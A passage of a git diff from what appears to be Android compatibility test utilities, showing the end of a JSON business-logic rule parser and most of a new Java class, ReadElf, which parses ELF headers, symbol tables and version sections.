+ List<BusinessLogicRuleCondition> ruleConditions =
+ extractRuleConditionList(ruleJSONObject);
+ // Build actions list
+ List<BusinessLogicRuleAction> ruleActions =
+ extractRuleActionList(ruleJSONObject);
+ rules.add(new BusinessLogicRule(ruleConditions, ruleActions));
+ }
+ rulesMap.put(testName, rules);
+ }
+ } catch (IOException | JSONException e) {
+ throw new RuntimeException("Business Logic failed", e);
+ }
+ // Return business logic
+ bl.mRules = rulesMap;
+ return bl;
+ }
+
+ /* Extract all BusinessLogicRuleConditions from a JSON business logic rule */
+ private static List<BusinessLogicRuleCondition> extractRuleConditionList(
+ JSONObject ruleJSONObject) throws JSONException {
+ List<BusinessLogicRuleCondition> ruleConditions = new ArrayList<>();
+ // Rules do not require a condition, return empty list if no condition is found
+ JSONArray ruleConditionsJSONArray = null;
+ try {
+ ruleConditionsJSONArray = ruleJSONObject.getJSONArray(RULE_CONDITIONS);
+ } catch (JSONException e) {
+ return ruleConditions; // no conditions for this rule, apply in all cases
+ }
+ for (int i = 0; i < ruleConditionsJSONArray.length(); i++) {
+ JSONObject ruleConditionJSONObject = ruleConditionsJSONArray.getJSONObject(i);
+ String methodName = ruleConditionJSONObject.getString(METHOD_NAME);
+ boolean negated = false;
+ if (methodName.startsWith("!")) {
+ methodName = methodName.substring(1); // remove negation from method name string
+ negated = true; // change "negated" property to true
+ }
+ List<String> methodArgs = new ArrayList<>();
+ JSONArray methodArgsJSONArray = null;
+ try {
+ methodArgsJSONArray = ruleConditionJSONObject.getJSONArray(METHOD_ARGS);
+ } catch (JSONException e) {
+ // No method args for this rule condition, add rule condition with empty args list
+ ruleConditions.add(new BusinessLogicRuleCondition(methodName, methodArgs, negated));
+ continue;
+ }
+ for (int j = 0; j < methodArgsJSONArray.length(); j++) {
+ methodArgs.add(methodArgsJSONArray.getString(j));
+ }
+ ruleConditions.add(new BusinessLogicRuleCondition(methodName, methodArgs, negated));
+ }
+ return ruleConditions;
+ }
+
+ /* Extract all BusinessLogicRuleActions from a JSON business logic rule */
+ private static List<BusinessLogicRuleAction> extractRuleActionList(JSONObject ruleJSONObject)
+ throws JSONException {
+ List<BusinessLogicRuleAction> ruleActions = new ArrayList<>();
+ // All rules require at least one action, line below throws JSONException if not
+ JSONArray ruleActionsJSONArray = ruleJSONObject.getJSONArray(RULE_ACTIONS);
+ for (int i = 0; i < ruleActionsJSONArray.length(); i++) {
+ JSONObject ruleActionJSONObject = ruleActionsJSONArray.getJSONObject(i);
+ String methodName = ruleActionJSONObject.getString(METHOD_NAME);
+ List<String> methodArgs = new ArrayList<>();
+ JSONArray methodArgsJSONArray = null;
+ try {
+ methodArgsJSONArray = ruleActionJSONObject.getJSONArray(METHOD_ARGS);
+ } catch (JSONException e) {
+ // No method args for this rule action, add rule action with empty args list
+ ruleActions.add(new BusinessLogicRuleAction(methodName, methodArgs));
+ continue;
+ }
+ for (int j = 0; j < methodArgsJSONArray.length(); j++) {
+ methodArgs.add(methodArgsJSONArray.getString(j));
+ }
+ ruleActions.add(new BusinessLogicRuleAction(methodName, methodArgs));
+ }
+ return ruleActions;
+ }
+
+ /* Extract string from file */
+ private static String readFile(File f) throws IOException {
+ StringBuilder sb = new StringBuilder((int) f.length());
+ String lineSeparator = System.getProperty("line.separator");
+ try (Scanner scanner = new Scanner(f)) {
+ while(scanner.hasNextLine()) {
+ sb.append(scanner.nextLine() + lineSeparator);
+ }
+ return sb.toString();
+ }
+ }
+}
diff --git a/common/util/src/com/android/compatibility/common/util/ReadElf.java b/common/util/src/com/android/compatibility/common/util/ReadElf.java
new file mode 100644
index 0000000..8d1fdf6
--- /dev/null
+++ b/common/util/src/com/android/compatibility/common/util/ReadElf.java
@@ -0,0 +1,1111 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import java.io.File;
+import java.io.IOException;
+import java.io.RandomAccessFile;
+import java.util.HashMap;
+import java.util.Map;
+
+/**
+ * A poor man's implementation of the readelf command. This program is designed to parse ELF
+ * (Executable and Linkable Format) files.
+ */
+// ToDo: consolidate with com.android.compatibility.common.util
+public class ReadElf implements AutoCloseable {
+ /** The magic values for the ELF identification. */
+ private static final byte[] ELFMAG = {
+ (byte) 0x7F, (byte) 'E', (byte) 'L', (byte) 'F',
+ };
+
+ private static final int EI_NIDENT = 16;
+
+ private static final int EI_CLASS = 4;
+ private static final int EI_DATA = 5;
+
+ private static final int EM_386 = 3;
+ private static final int EM_MIPS = 8;
+ private static final int EM_ARM = 40;
+ private static final int EM_X86_64 = 62;
+ // http://en.wikipedia.org/wiki/Qualcomm_Hexagon
+ private static final int EM_QDSP6 = 164;
+ private static final int EM_AARCH64 = 183;
+
+ private static final int ELFCLASS32 = 1;
+ private static final int ELFCLASS64 = 2;
+
+ private static final int ELFDATA2LSB = 1;
+ private static final int ELFDATA2MSB = 2;
+
+ private static final int EV_CURRENT = 1;
+
+ private static final long PT_LOAD = 1;
+
+ private static final int SHT_SYMTAB = 2;
+ private static final int SHT_STRTAB = 3;
+ private static final int SHT_DYNAMIC = 6;
+ private static final int SHT_DYNSYM = 11;
+ private static final int SHT_GNU_VERDEF = 0x6ffffffd;
+ private static final int SHT_GNU_VERNEED = 0x6ffffffe;
+ private static final int SHT_GNU_VERSYM = 0x6fffffff;
+
+ public static class Symbol {
+ public static final int STB_LOCAL = 0;
+ public static final int STB_GLOBAL = 1;
+ public static final int STB_WEAK = 2;
+ public static final int STB_LOPROC = 13;
+ public static final int STB_HIPROC = 15;
+
+ public static final int STT_NOTYPE = 0;
+ public static final int STT_OBJECT = 1;
+ public static final int STT_FUNC = 2;
+ public static final int STT_SECTION = 3;
+ public static final int STT_FILE = 4;
+ public static final int STT_COMMON = 5;
+ public static final int STT_TLS = 6;
+
+ public static final int SHN_UNDEF = 0;
+
+ public final String name;
+ public final int bind;
+ public final int type;
+ public final int shndx;
+ public final long value;
+ public final long size;
+ public final int other;
+
+ public VerNeed mVerNeed;
+ public VerDef mVerDef;
+
+ Symbol(String name, int st_info, int st_shndx, long st_value, long st_size, int st_other) {
+ this.name = name;
+ this.bind = (st_info >> 4) & 0x0F;
+ this.type = st_info & 0x0F;
+ this.shndx = st_shndx;
+ this.value = st_value;
+ this.size = st_size;
+ this.other = st_other;
+ }
+
+ @Override
+ public String toString() {
+ return String.format(
+ "%s, %s, %s, %s, %s, %s",
+ name,
+ toBind(),
+ toType(),
+ toShndx(),
+ getExternalLibFileName(),
+ getExternalLibName());
+ }
+
+ private String toBind() {
+ switch (bind) {
+ case STB_LOCAL:
+ return "LOCAL";
+ case STB_GLOBAL:
+ return "GLOBAL";
+ case STB_WEAK:
+ return "WEAK";
+ }
+ return "STB_??? (" + bind + ")";
+ }
+
+ private String toType() {
+ switch (type) {
+ case STT_NOTYPE:
+ return "NOTYPE";
+ case STT_OBJECT:
+ return "OBJECT";
+ case STT_FUNC:
+ return "FUNC";
+ case STT_SECTION:
+ return "SECTION";
+ case STT_FILE:
+ return "FILE";
+ case STT_COMMON:
+ return "COMMON";
+ case STT_TLS:
+ return "TLS";
+ }
+ return "STT_??? (" + type + ")";
+ }
+
+ private String toShndx() {
+ if (shndx == SHN_UNDEF) {
+ return "UNDEF";
+ }
+ return String.valueOf(shndx);
+ }
+
+ // if a symbol is not define locally
+ public boolean isGlobalUnd() {
+ return (bind != STB_LOCAL && shndx == SHN_UNDEF);
+ }
+
+ // if a symbol is extern
+ public boolean isExtern() {
+ return (bind != STB_LOCAL && shndx != SHN_UNDEF);
+ }
+
+ public String getExternalLibFileName() {
+ if (mVerNeed != null) {
+ return mVerNeed.vn_file_name;
+ }
+ return null;
+ }
+
+ public String getExternalLibName() {
+ if (mVerNeed != null) {
+ return mVerNeed.vn_vernaux[0].vna_lib_name;
+ }
+ return null;
+ }
+
+ public int getExternalLibVer() {
+ if (mVerNeed != null) {
+ return mVerNeed.vn_vernaux[0].vna_other;
+ }
+ return -1;
+ }
+
+ public String getVerDefLibName() {
+ if (mVerDef != null) {
+ return mVerDef.vd_verdaux[0].vda_lib_name;
+ }
+ return null;
+ }
+
+ public int getVerDefVersion() {
+ if (mVerDef != null) {
+ return mVerDef.vd_version;
+ }
+ return -1;
+ }
+ }
+
+ public static class SecHeader {
+ public final long sh_name;
+ public final long sh_type;
+ public final long sh_flags;
+ public final long sh_addr;
+ public final long sh_offset;
+ public final long sh_size;
+ public final long sh_link;
+ public final long sh_info;
+ public final long sh_addralign;
+ public final long sh_entsize;
+
+ SecHeader(
+ long name,
+ long type,
+ long flags,
+ long addr,
+ long offset,
+ long size,
+ long link,
+ long info,
+ long addralign,
+ long entsize) {
+ this.sh_name = name;
+ this.sh_type = type;
+ this.sh_flags = flags;
+ this.sh_addr = addr;
+ this.sh_offset = offset;
+ this.sh_size = size;
+ this.sh_link = link;
+ this.sh_info = info;
+ this.sh_addralign = addralign;
+ this.sh_entsize = entsize;
+ }
+
+ @Override
+ public String toString() {
+ return String.format(
+ "%d, %d, %d, %d, %d, %d, %d, %d, %d, %d",
+ this.sh_name,
+ this.sh_type,
+ this.sh_flags,
+ this.sh_addr,
+ this.sh_offset,
+ this.sh_size,
+ this.sh_link,
+ this.sh_info,
+ this.sh_addralign,
+ this.sh_entsize);
+ }
+ }
+
+ public static class VerNeed {
+ public final int vn_version;
+ public final int vn_cnt;
+ public final long vn_file;
+ public final long vn_aux;
+ public final long vn_next;
+ public String vn_file_name;
+ public VerNAux[] vn_vernaux;
+
+ VerNeed(String file_name, String lib_name, int ndx) {
+ this.vn_file_name = file_name.toLowerCase();
+ this.vn_vernaux = new VerNAux[1];
+ this.vn_vernaux[0] = new VerNAux(lib_name, ndx);
+
+ this.vn_version = 0;
+ this.vn_cnt = 0;
+ this.vn_file = 0;
+ this.vn_aux = 0;
+ this.vn_next = 0;
+ }
+
+ VerNeed(int ver, int cnt, long file, long aux, long next) {
+ this.vn_version = ver;
+ this.vn_cnt = cnt;
+ this.vn_file = file;
+ this.vn_aux = aux;
+ this.vn_next = next;
+ }
+
+ @Override
+ public String toString() {
+ String vernauxStr = "";
+ for (int i = 0; i < this.vn_cnt; i++) {
+ vernauxStr += String.format(" %s\n", this.vn_vernaux[i].toString());
+ }
+ return String.format(
+ "%s, %d, %d, %d, %d, %d \n%s",
+ this.vn_file_name,
+ this.vn_version,
+ this.vn_cnt,
+ this.vn_file,
+ this.vn_aux,
+ this.vn_next,
+ vernauxStr);
+ }
+ }
+
+ public static class VerNAux {
+ public final long vna_hash;
+ public final int vna_flags;
+ public final int vna_other;
+ public final long vna_name;
+ public final long vna_next;
+ public String vna_lib_name;
+
+ VerNAux(String lib_name, int ndx) {
+ this.vna_lib_name = lib_name;
+
+ this.vna_hash = 0;
+ this.vna_flags = 0;
+ this.vna_other = ndx;
+ this.vna_name = 0;
+ this.vna_next = 0;
+ }
+
+ VerNAux(long hash, int flags, int other, long name, long next) {
+ this.vna_hash = hash;
+ this.vna_flags = flags;
+ this.vna_other = other;
+ this.vna_name = name;
+ this.vna_next = next;
+ }
+
+ @Override
+ public String toString() {
+ return String.format(
+ "%s, %d, %d, %d, %d, %d",
+ this.vna_lib_name,
+ this.vna_hash,
+ this.vna_flags,
+ this.vna_other,
+ this.vna_name,
+ this.vna_next);
+ }
+ }
+
+ public static class VerDef {
+ public final int vd_version;
+ public final int vd_flags;
+ public final int vd_ndx;
+ public final int vd_cnt;
+ public final long vd_hash;
+ public final long vd_aux;
+ public final long vd_next;
+ public VerDAux[] vd_verdaux;
+
+ VerDef(String lib_name) {
+ this.vd_verdaux = new VerDAux[1];
+ this.vd_verdaux[0] = new VerDAux(lib_name);
+
+ this.vd_version = 0;
+ this.vd_flags = 0;
+ this.vd_ndx = 0;
+ this.vd_cnt = 0;
+ this.vd_hash = 0;
+ this.vd_aux = 0;
+ this.vd_next = 0;
+ }
+
+ VerDef(int ver, int flags, int ndx, int cnt, long hash, long aux, long next) {
+ this.vd_version = ver;
+ this.vd_flags = flags;
+ this.vd_ndx = ndx;
+ this.vd_cnt = cnt;
+ this.vd_hash = hash;
+ this.vd_aux = aux;
+ this.vd_next = next;
+ }
+
+ @Override
+ public String toString() {
+ String vStr = "";
+ for (int i = 0; i < this.vd_cnt; i++) {
+ vStr += String.format(" %s\n", this.vd_verdaux[i].toString());
+ }
+ return String.format(
+ "%s, %d, %d, %d, %d, %d \n%s",
+ this.vd_verdaux[0].vda_lib_name,
+ this.vd_version,
+ this.vd_flags,
+ this.vd_ndx,
+ this.vd_cnt,
+ this.vd_hash,
+ vStr);
+ }
+ }
+
+ public static class VerDAux {
+ public final long vda_name;
+ public final long vda_next;
+ public String vda_lib_name;
+
+ VerDAux(String lib_name) {
+ this.vda_lib_name = lib_name.toLowerCase();
+
+ this.vda_name = 0;
+ this.vda_next = 0;
+ }
+
+ VerDAux(long name, long next) {
+ this.vda_name = name;
+ this.vda_next = next;
+ }
+
+ @Override
+ public String toString() {
+ return String.format("%s, %d, %d", this.vda_lib_name, this.vda_name, this.vda_next);
+ }
+ }
+
+ private final String mPath;
+ private final RandomAccessFile mFile;
+ private final byte[] mBuffer = new byte[512];
+ private int mEndian;
+ private boolean mIsDynamic;
+ private boolean mIsPIE;
+ private int mType;
+ private int mAddrSize;
+
+ /** Symbol Table offset */
+ private long mSymTabOffset;
+
+ /** Symbol Table size */
+ private long mSymTabSize;
+
+ /** Symbol entry count */
+ private int mSymEntCnt;
+
+ /** Dynamic Symbol Table offset */
+ private long mDynSymOffset;
+
+ /** Dynamic Symbol Table size */
+ private long mDynSymSize;
+
+ /** Dynamic entry count */
+ private int mDynSymEntCnt;
+
+ /** Section Header String Table offset */
+ private long mShStrTabOffset;
+
+ /** Section Header String Table size */
+ private long mShStrTabSize;
+
+ /** String Table offset */
+ private long mStrTabOffset;
+
+ /** String Table size */
+ private long mStrTabSize;
+
+ /** Dynamic String Table offset */
+ private long mDynStrOffset;
+
+ /** Dynamic String Table size */
+ private long mDynStrSize;
+
+ /** Dynamic String Table offset */
+ private long mDynamicTabOffset;
+
+ /** Dynamic String Table size */
+ private long mDynamicTabSize;
+
+ /** Version Symbols Table offset */
+ private long mVerSymTabOffset;
+
+ /** Version Symbols Table size */
+ private long mVerSymTabSize;
+
+ /** Version Needs Table offset */
+ private long mVerNeedTabOffset;
+
+ /** Version Definition Table size */
+ private long mVerNeedTabSize;
+
+ private int mVerNeedEntryCnt;
+
+ /** Version Definition Table offset */
+ private long mVerDefTabOffset;
+
+ /** Version Needs Table size */
+ private long mVerDefTabSize;
+
+ private int mVerDefEntryCnt;
+
+ /** Symbol Table symbol names */
+ private Map<String, Symbol> mSymbols;
+
+ /** Symbol Table symbol array */
+ private Symbol[] mSymArr;
+
+ /** Dynamic Symbol Table symbol names */
+ private Map<String, Symbol> mDynamicSymbols;
+
+ /** Dynamic Symbol Table symbol array */
+ private Symbol[] mDynSymArr;
+
+ /** Version Symbols Table */
+ private int[] mVerSym;
+
+ /** Version Needed Table */
+ private VerNeed[] mVerNeedArr;
+
+ /** Version Definition Table */
+ private VerDef[] mVerDefArr;
+
+ public static ReadElf read(File file) throws IOException {
+ return new ReadElf(file);
+ }
+
+ public static void main(String[] args) throws IOException {
+ for (String arg : args) {
+ ReadElf re = ReadElf.read(new File(arg));
+ re.getDynamicSymbol("x");
+ re.getSymbol("x");
+
+ Symbol[] symArr;
+ System.out.println("===Symbol===");
+ symArr = re.getSymArr();
+ for (int i = 0; i < symArr.length; i++) {
+ System.out.println(String.format("%8x: %s", i, symArr[i].toString()));
+ }
+ System.out.println("===Dynamic Symbol===");
+ symArr = re.getDynSymArr();
+ for (int i = 0; i < symArr.length; i++) {
+ if (re.mVerNeedEntryCnt > 0) {
+ System.out.println(
+ String.format(
+ "%8x: %s, %s, %s - %d",
+ i,
+ symArr[i].toString(),
+ symArr[i].getExternalLibName(),
+ symArr[i].getExternalLibFileName(),
+ symArr[i].getExternalLibVer()));
+ } else {
+ System.out.println(
+ String.format(
+ "%8x: %s, %s - %d",
+ i,
+ symArr[i].toString(),
+ symArr[i].getVerDefLibName(),
+ symArr[i].getVerDefVersion()));
+ }
+ }
+ re.close();
+ }
+ }
+
+ public Map<String, Symbol> getSymbols() throws IOException {
+ if (mSymbols == null) {
+ getSymbol("");
+ }
+ return mSymbols;
+ }
+
+ public Symbol[] getSymArr() throws IOException {
+ if (mSymArr == null) {
+ getSymbol("");
+ }
+ return mSymArr;
+ }
+
+ public Map<String, Symbol> getDynamicSymbols() throws IOException {
+ if (mDynamicSymbols == null) {
+ getDynamicSymbol("");
+ }
+ return mDynamicSymbols;
+ }
+
+ public Symbol[] getDynSymArr() throws IOException {
+ if (mDynSymArr == null) {
+ getDynamicSymbol("");
+ }
+ return mDynSymArr;
+ }
+
+ public boolean isDynamic() {
+ return mIsDynamic;
+ }
+
+ public int getType() {
+ return mType;
+ }
+
+ public boolean isPIE() {
+ return mIsPIE;
+ }
+
+ private ReadElf(File file) throws IOException {
+ mPath = file.getPath();
+ mFile = new RandomAccessFile(file, "r");
+
+ if (mFile.length() < EI_NIDENT) {
+ throw new IllegalArgumentException("Too small to be an ELF file: " + file);
+ }
+
+ readHeader();
+ }
+
+ @Override
+ public void close() {
+ try {
+ mFile.close();
+ } catch (IOException ignored) {
+ }
+ }
+
+ @Override
+ protected void finalize() throws Throwable {
+ try {
+ close();
+ } finally {
+ super.finalize();
+ }
+ }
+
+ private void readHeader() throws IOException {
+ mFile.seek(0);
+ mFile.readFully(mBuffer, 0, EI_NIDENT);
+
+ if (mBuffer[0] != ELFMAG[0]
+ || mBuffer[1] != ELFMAG[1]
+ || mBuffer[2] != ELFMAG[2]
+ || mBuffer[3] != ELFMAG[3]) {
+ throw new IllegalArgumentException("Invalid ELF file: " + mPath);
+ }
+
+ int elfClass = mBuffer[EI_CLASS];
+ if (elfClass == ELFCLASS32) {
+ mAddrSize = 4;
+ } else if (elfClass == ELFCLASS64) {
+ mAddrSize = 8;
+ } else {
+ throw new IOException("Invalid ELF EI_CLASS: " + elfClass + ": " + mPath);
+ }
+
+ mEndian = mBuffer[EI_DATA];
+ if (mEndian == ELFDATA2LSB) {
+ } else if (mEndian == ELFDATA2MSB) {
+ throw new IOException("Unsupported ELFDATA2MSB file: " + mPath);
+ } else {
+ throw new IOException("Invalid ELF EI_DATA: " + mEndian + ": " + mPath);
+ }
+
+ mType = readHalf();
+
+ int e_machine = readHalf();
+ if (e_machine != EM_386
+ && e_machine != EM_X86_64
+ && e_machine != EM_AARCH64
+ && e_machine != EM_ARM
+ && e_machine != EM_MIPS
+ && e_machine != EM_QDSP6) {
+ throw new IOException("Invalid ELF e_machine: " + e_machine + ": " + mPath);
+ }
+
+ // AbiTest relies on us rejecting any unsupported combinations.
+ if ((e_machine == EM_386 && elfClass != ELFCLASS32)
+ || (e_machine == EM_X86_64 && elfClass != ELFCLASS64)
+ || (e_machine == EM_AARCH64 && elfClass != ELFCLASS64)
+ || (e_machine == EM_ARM && elfClass != ELFCLASS32)
+ || (e_machine == EM_QDSP6 && elfClass != ELFCLASS32)) {
+ throw new IOException(
+ "Invalid e_machine/EI_CLASS ELF combination: "
+ + e_machine
+ + "/"
+ + elfClass
+ + ": "
+ + mPath);
+ }
+
+ long e_version = readWord();
+ if (e_version != EV_CURRENT) {
+ throw new IOException("Invalid e_version: " + e_version + ": " + mPath);
+ }
+
+ long e_entry = readAddr();
+
+ long ph_off = readOff();
+ long sh_off = readOff();
+
+ long e_flags = readWord();
+ int e_ehsize = readHalf();
+ int e_phentsize = readHalf();
+ int e_phnum = readHalf();
+ int e_shentsize = readHalf();
+ int e_shnum = readHalf();
+ int e_shstrndx = readHalf();
+
+ readSectionHeaders(sh_off, e_shnum, e_shentsize, e_shstrndx);
+ readProgramHeaders(ph_off, e_phnum, e_phentsize);
+ }
+
+ private void readSectionHeaders(long sh_off, int e_shnum, int e_shentsize, int e_shstrndx)
+ throws IOException {
+ // Read the Section Header String Table offset first.
+ {
+ mFile.seek(sh_off + e_shstrndx * e_shentsize);
+
+ long sh_name = readWord();
+ long sh_type = readWord();
+ long sh_flags = readX(mAddrSize);
+ long sh_addr = readAddr();
+ long sh_offset = readOff();
+ long sh_size = readX(mAddrSize);
+ // ...
+
+ if (sh_type == SHT_STRTAB) {
+ mShStrTabOffset = sh_offset;
+ mShStrTabSize = sh_size;
+ }
+ }
+
+ for (int i = 0; i < e_shnum; ++i) {
+ // Don't bother to re-read the Section Header StrTab.
+ if (i == e_shstrndx) {
+ continue;
+ }
+
+ mFile.seek(sh_off + i * e_shentsize);
+
+ long sh_name = readWord();
+ long sh_type = readWord();
+ long sh_flags = readX(mAddrSize);
+ long sh_addr = readAddr();
+ long sh_offset = readOff();
+ long sh_size = readX(mAddrSize);
+ long sh_link = readWord();
+ long sh_info = readWord();
+ long sh_addralign = readX(mAddrSize);
+ ;
+ long sh_entsize = readX(mAddrSize);
+ ;
+
+ if (sh_type == SHT_SYMTAB || sh_type == SHT_DYNSYM) {
+ final String symTabName = readShStrTabEntry(sh_name);
+ if (".symtab".equals(symTabName)) {
+ mSymTabOffset = sh_offset;
+ mSymTabSize = sh_size;
+ mSymEntCnt = (int) (sh_size / sh_entsize);
+ } else if (".dynsym".equals(symTabName)) {
+ mDynSymOffset = sh_offset;
+ mDynSymSize = sh_size;
+ mDynSymEntCnt = (int) (sh_size / sh_entsize);
+ }
+ System.out.println(
+ String.format(
+ "%s, %d, %d, %d, %d, %d",
+ symTabName, sh_offset, sh_size, sh_link, sh_info, sh_entsize));
+ } else if (sh_type == SHT_STRTAB) {
+ final String strTabName = readShStrTabEntry(sh_name);
+ if (".strtab".equals(strTabName)) {
+ mStrTabOffset = sh_offset;
+ mStrTabSize = sh_size;
+ } else if (".dynstr".equals(strTabName)) {
+ mDynStrOffset = sh_offset;
+ mDynStrSize = sh_size;
+ System.out.println(
+ String.format(
+ "%s, %d, %d, %d, %d",
+ strTabName, sh_offset, sh_size, sh_link, sh_info));
+ }
+ } else if (sh_type == SHT_DYNAMIC) {
+ mIsDynamic = true;
+ final String strTabName = readShStrTabEntry(sh_name);
+ mDynamicTabOffset = sh_offset;
+ mDynamicTabSize = sh_size;
+ System.out.println(
+ String.format(
+ "%s, %d, %d, %d, %d",
+ strTabName, sh_offset, sh_size, sh_link, sh_info));
+ } else if (sh_type == SHT_GNU_VERSYM) {
+ final String strTabName = readShStrTabEntry(sh_name);
+ if (".gnu.version".equals(strTabName)) {
+ mVerSymTabOffset = sh_offset;
+ mVerSymTabSize = sh_size;
+ }
+ System.out.println(
+ String.format(
+ "%s, %d, %d, %d, %d",
+ strTabName, sh_offset, sh_size, sh_link, sh_info));
+ } else if (sh_type == SHT_GNU_VERNEED) {
+ final String strTabName = readShStrTabEntry(sh_name);
+ if (".gnu.version_r".equals(strTabName)) {
+ mVerNeedTabOffset = sh_offset;
+ mVerNeedTabSize = sh_size;
+ mVerNeedEntryCnt = (int) sh_info;
+ }
+ System.out.println(
+ String.format(
+ "%s, %d, %d, %d, %d",
+ strTabName, sh_offset, sh_size, sh_link, sh_info));
+ } else if (sh_type == SHT_GNU_VERDEF) {
+ final String strTabName = readShStrTabEntry(sh_name);
+ if (".gnu.version_d".equals(strTabName)) {
+ mVerDefTabOffset = sh_offset;
+ mVerDefTabSize = sh_size;
+ mVerDefEntryCnt = (int) sh_info;
+ }
+ System.out.println(
+ String.format(
+ "%s, %d, %d, %d, %d",
+ strTabName, sh_offset, sh_size, sh_link, sh_info));
+ }
+ }
+ }
+
+ private void readProgramHeaders(long ph_off, int e_phnum, int e_phentsize) throws IOException {
+ for (int i = 0; i < e_phnum; ++i) {
+ mFile.seek(ph_off + i * e_phentsize);
+
+ long p_type = readWord();
+ if (p_type == PT_LOAD) {
+ if (mAddrSize == 8) {
+ // Only in Elf64_phdr; in Elf32_phdr p_flags is at the end.
+ long p_flags = readWord();
+ }
+ long p_offset = readOff();
+ long p_vaddr = readAddr();
+ // ...
+
+ if (p_vaddr == 0) {
+ mIsPIE = true;
+ }
+ }
+ }
+ }
+
+ private HashMap<String, Symbol> readSymbolTable(
+ Symbol[] symArr,
+ boolean isDynSym,
+ long symStrOffset,
+ long symStrSize,
+ long tableOffset,
+ long tableSize)
+ throws IOException {
+ HashMap<String, Symbol> result = new HashMap<String, Symbol>();
+ mFile.seek(tableOffset);
+ int i = 0;
+ while (mFile.getFilePointer() < tableOffset + tableSize) {
+ long st_name = readWord();
+ int st_info;
+ int st_shndx;
+ long st_value;
+ long st_size;
+ int st_other;
+ if (mAddrSize == 8) {
+ st_info = readByte();
+ st_other = readByte();
+ st_shndx = readHalf();
+ st_value = readAddr();
+ st_size = readX(mAddrSize);
+ } else {
+ st_value = readAddr();
+ st_size = readWord();
+ st_info = readByte();
+ st_other = readByte();
+ st_shndx = readHalf();
+ }
+
+ String symName;
+ if (st_name == 0) {
+ symName = "";
+ } else {
+ symName = readStrTabEntry(symStrOffset, symStrSize, st_name);
+ }
+
+ Symbol sym = new Symbol(symName, st_info, st_shndx, st_value, st_size, st_other);
+ if (symName.equals("")) {
+ result.put(symName, sym);
+ }
+ if (isDynSym) {
+ if (mVerNeedEntryCnt > 0) {
+ if (sym.type == Symbol.STT_NOTYPE) {
+ sym.mVerNeed = mVerNeedArr[0];
+ } else {
+ sym.mVerNeed = getVerNeed(mVerSym[i]);
+ }
+ } else if (mVerDefEntryCnt > 0) {
+ sym.mVerDef = mVerDefArr[mVerSym[i]];
+ }
+ }
+ symArr[i] = sym;
+ i++;
+ }
+ System.out.println(
+ String.format(
+ "Info readSymbolTable: %s, isDynSym %b, symbol# %d",
+ mPath, isDynSym, symArr.length));
+ return result;
+ }
+
+ private String readShStrTabEntry(long strOffset) throws IOException {
+ if (mShStrTabOffset == 0 || strOffset < 0 || strOffset >= mShStrTabSize) {
+ return null;
+ }
+ return readString(mShStrTabOffset + strOffset);
+ }
+
+ private String readStrTabEntry(long tableOffset, long tableSize, long strOffset)
+ throws IOException {
+ if (tableOffset == 0 || strOffset < 0 || strOffset >= tableSize) {
+ return null;
+ }
+ return readString(tableOffset + strOffset);
+ }
+
+ private String readDynStrTabEntry(long strOffset) throws IOException {
+ if (mDynStrOffset == 0 || strOffset < 0 || strOffset >= mDynStrSize) {
+ return null;
+ }
+ return readString(mDynStrOffset + strOffset);
+ }
+
+ private int[] getVerSym() throws IOException {
+ if (mVerSym == null) {
+ mFile.seek(mVerSymTabOffset);
+ int cnt = (int) mVerSymTabSize / 2;
+ mVerSym = new int[cnt];
+ for (int i = 0; i < cnt; i++) {
+ mVerSym[i] = readHalf();
+ //System.out.println(String.format("%d, %d", i, mVerSym[i]));
+ }
+ }
+ return mVerSym;
+ }
+
+ public VerNeed getVerNeed(int ndx) throws IOException {
+ // vna_other Contains version index unique for the file which is used in the version symbol table.
+ if (ndx < 2) {
+ return this.mVerNeedArr[ndx];
+ }
+
+ for (int i = 2; i < this.mVerNeedEntryCnt + 2; i++) {
+ for (int j = 0; j < this.mVerNeedArr[i].vn_cnt; j++) {
+ if (this.mVerNeedArr[i].vn_vernaux[j].vna_other == ndx) {
+ return this.mVerNeedArr[i];
+ }
+ }
+ }
+ System.out.println(String.format("no VerNeed found: %d", ndx));
+ return null;
+ }
+
+ private VerNeed[] getVerNeedArr() throws IOException {
+ if (mVerNeedArr == null) {
+ mVerNeedArr = new VerNeed[mVerNeedEntryCnt + 2];
+
+ // SHT_GNU_versym 0: local
+ mVerNeedArr[0] = new VerNeed("*local*", "*local*", 0);
+ // HT_GNU_versym 1: global
+ mVerNeedArr[1] = new VerNeed("*global*", "*global*", 1);
+
+ long idx = mVerNeedTabOffset;
+ for (int i = 2; i < mVerNeedEntryCnt + 2; i++) {
+ mFile.seek(idx);
+ mVerNeedArr[i] =
+ new VerNeed(readHalf(), readHalf(), readWord(), readWord(), readWord());
+ mVerNeedArr[i].vn_file_name = readDynStrTabEntry(mVerNeedArr[i].vn_file).toLowerCase();
+
+ mVerNeedArr[i].vn_vernaux = new VerNAux[mVerNeedArr[i].vn_cnt];
+ long idxAux = idx + mVerNeedArr[i].vn_aux;
+ for (int j = 0; j < mVerNeedArr[i].vn_cnt; j++) {
+ mFile.seek(idxAux);
+ mVerNeedArr[i].vn_vernaux[j] =
+ new VerNAux(readWord(), readHalf(), readHalf(), readWord(), readWord());
+ mVerNeedArr[i].vn_vernaux[j].vna_lib_name =
+ readDynStrTabEntry(mVerNeedArr[i].vn_vernaux[j].vna_name);
+ idxAux += mVerNeedArr[i].vn_vernaux[j].vna_next;
+ }
+ idx += mVerNeedArr[i].vn_next;
+ System.out.println(mVerNeedArr[i]);
+ }
+ }
+
+ return mVerNeedArr;
+ }
+
+ private VerDef[] getVerDef() throws IOException {
+ if (mVerDefArr == null) {
+ mVerDefArr = new VerDef[mVerDefEntryCnt + 2];
+
+ // SHT_GNU_versym 0: local
+ mVerDefArr[0] = new VerDef("*local*");
+ // HT_GNU_versym 1: global
+ mVerDefArr[1] = new VerDef("*global*");
+
+ long idx = mVerDefTabOffset;
+ for (int i = 2; i < mVerDefEntryCnt + 2; i++) {
+ mFile.seek(idx);
+ mVerDefArr[i] =
+ new VerDef(
+ readHalf(),
+ readHalf(),
+ readHalf(),
+ readHalf(),
+ readWord(),
+ readWord(),
+ readWord());
+
